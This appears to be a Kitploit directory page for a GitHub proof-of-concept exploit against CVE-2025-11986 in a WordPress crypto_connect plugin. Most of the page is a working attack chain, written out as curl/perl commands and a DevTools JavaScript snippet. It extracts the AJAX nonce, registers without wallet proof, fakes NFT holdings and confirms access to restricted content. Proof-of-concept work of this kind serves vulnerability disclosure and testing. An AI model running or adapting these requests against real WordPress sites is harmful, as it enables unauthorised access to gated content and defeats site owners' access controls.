Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-11986 — Proof-of-concept exploit for CVE-2025-11986 demonstrating unauthenticated access bypass in WordPress crypto_connect plugin via nonce extraction and fake NFT registration. | Kitploit
Tools/GitHubGitHub/jfriedli/cve-2025-11986
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingAuthentication
GitHubjfriedli/cve-2025-11986

CVE-2025-11986

Proof-of-concept exploit for CVE-2025-11986 demonstrating unauthenticated access bypass in WordPress crypto_connect plugin via nonce extraction and fake NFT registration.

View Repository
15 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

1) Extract the public crypto_ajax nonce from the restricted page

root@kitploit:~
UA='Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:127.0) Gecko/20100101 Firefox/127.0'

NONCE=$(curl -s "http://localhost/wordpress/<RESTRICTED_PAGE_URL>" -A "$UA" | \
  perl -0777 -ne 'print "$1\n" if /crypto_connectChainAjax\s*=\s*\{[^}]*"nonce"\s*:\s*"([^"]+)"/s')

# Fallback extraction method
[ -z "$NONCE" ] && NONCE=$(curl -s "http://localhost/wordpress/<RESTRICTED_PAGE_URL>" -A "$UA" | \
  perl -ne "print \"$1\n\" if /create_link_crypto_connect_login\\(\\s*'([A-Za-z0-9_-]+)'/i")

echo "Nonce: $NONCE"

2) Perform unauthenticated “register” (no wallet proof required)

root@kitploit:~
curl -s "http://localhost/wordpress/wp-admin/admin-ajax.php" -A "$UA" \
  --data "action=crypto_connect_ajax_process&method_name=register&id=1&nonce=${NONCE}&param1=0xDEADBEEF00000000000000000000000000000000"

3) Fake NFT holdings to force access

root@kitploit:~
curl -s "http://localhost/wordpress/wp-admin/admin-ajax.php" -A "$UA" \
  --data "action=crypto_connect_ajax_process&method_name=savenft&id=1&nonce=${NONCE}&param1=&param2=attacker.yak&param3=1"

4) Verify restricted content is accessible

root@kitploit:~
curl -s "http://localhost/wordpress/<RESTRICTED_PAGE_URL>" -A "$UA" | \
  grep -F 'SECRET: ONLY FOR HOLDERS' && echo "[+] Access bypass confirmed"

Optional: Browser-based PoC (run in DevTools)

root@kitploit:~
(() => {
  const n =
    (window.crypto_connectChainAjax && window.crypto_connectChainAjax.nonce) ||
    (document.documentElement.innerHTML.match(/create_link_crypto_connect_login\('([^']+)'/) || [])[1];

  if (!n) {
    console.error('nonce not found');
    return;
  }

  const post = d =>
    fetch('/wordpress/wp-admin/admin-ajax.php', {
      method: 'POST',
      headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
      body: new URLSearchParams(d)
    })
      .then(r => r.text())
      .then(t => (console.log(t), t));

  (async () => {
    await post({
      action: 'crypto_connect_ajax_process',
      method_name: 'register',
      id: '1',
      nonce: n,
      param1: '0xDEADBEEF00000000000000000000000000000000'
    });

    await post({
      action: 'crypto_connect_ajax_process',
      method_name: 'savenft',
      id: '1',
      nonce: n,
      param1: '',
      param2: 'attacker.yak',
      param3: '1'
    });

    location.reload();
  })();
})();
Download Tool